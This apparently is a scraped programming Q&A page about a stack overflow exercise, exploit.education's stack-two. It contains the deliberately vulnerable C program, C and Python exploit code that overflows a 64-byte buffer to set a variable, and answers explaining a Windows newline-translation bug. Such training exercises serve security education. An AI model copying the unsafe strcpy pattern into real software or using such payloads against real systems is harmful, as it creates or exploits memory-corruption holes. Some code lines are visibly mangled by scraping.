Home > Back-end >  Same stack overflow exploit written in different languages doesn't give same results
Same stack overflow exploit written in different languages doesn't give same results

Time:03-26

I was writing a stack overflow exploit in C against stack-two of exploit.education.
A little modified version of the the stack-two program is as follows:

/*
 * phoenix/stack-two, by https://exploit.education
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    struct {
        char buffer[64];
        volatile int changeme;
    } locals;

    printf("Welcome to stack-two, brought to you by https://exploit.education\n");

    char *ptr = getenv("ExploitEducation");
    if (ptr == NULL) {
        fprintf(stderr, "please set the ExploitEducation environment variable\n");
        exit(1);
    }

    locals.changeme = 0;
    strcpy(locals.buffer, ptr);

    if (locals.changeme == 0x0d0a090a) {
        puts("Well done, you have successfully set changeme to the correct value");
    } else {
        printf("Almost! changeme is currently 0xx, we want 0x0d0a090a\n",
            locals.changeme);
    }

    exit(0);
}

My exploit is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef unsigned int u32;

int main() {
    const int size = 100;
    char buffer[size];

    memset(buffer, 0, size);  // Zero out the buffer
    memset(buffer, 'x', 64);  // Add 64 'x' to the buffer

    u32 changeme = 0x0d0a090a;
    memcpy(buffer   64, &changeme, 4);  // appending 0x0d0a090a to buffer

    // Printing the buffer
    for (int i = 0; i < 68;   i) {
        printf("%c", buffer[i]);
    }

    // Writing the buffer into a file for testing purpose.
    FILE *fd = fopen("bb.bin", "wb");
    fwrite(buffer, 1, 68, fd);
    fclose(fd);
}

Then setting ExploitEducation environment variable as follows:

ExploitEducation=$(./a.exe)  # a.exe is the exploit binary

This should have worked but when I executed stack-two the output was:

Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a

When I investigated furthur and saw the hexdump of bb.bin, it was correct and the exploit should work.
hexdump of bb.bin is as follows:

00000000: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d                                ....

So, why does the exploit not work? Why does the python version of this exploit (given below) works while the C version does not?

Working Exploit

I have a working exploit written in python.

import sys

sys.stdout.buffer.write(b"x" * 64   b"\x0a\x09\x0a\x0d")

EDIT:
As Lundin suggested, I tried changing u32 changeme = 0x0d0a090a; to uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };, but it didn't work.
I also tried playing around with the order of bytes and the C language constructs used to lay out the bytes, but nothing worked :(.

CodePudding user response:

The problem is with line endings. "\x0d\x0a" is a Windows-style line ending ("\r\n") and "\x0a" is a Linux-style line ending ("\n"). C assumes it knows better than you and translates the Linux-style "\n" into a Windows-style "\r\n". If you open your bb.bin file in "w" mode instead of "wb" mode, you should see the same thing happening.

The solution, then, is to change stdout into binary mode. You can do this by reopening the stdout stream with freopen(NULL,"wb",stdout);. Just to be safe, you can also avoid printf and write to stdout directly like fwrite(buffer,1,68,stdout);.

As a more general tip, examining the output directly with a utility like xxd (like ./a.exe | xxd) helps you directly look at the output you're actually interested in, instead of accidentally fixing the problem in your debug code like you did here.

CodePudding user response:

If you need a certain byte order portably, you shouldn't use uint32_t but a plain byte array:

uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };

or if you fancy escape sequences:

char changeme[] = "\x0d\x0a\x09\x0a";

Otherwise when using larger integer types, the bytes get stored according to CPU endianess.

  • Related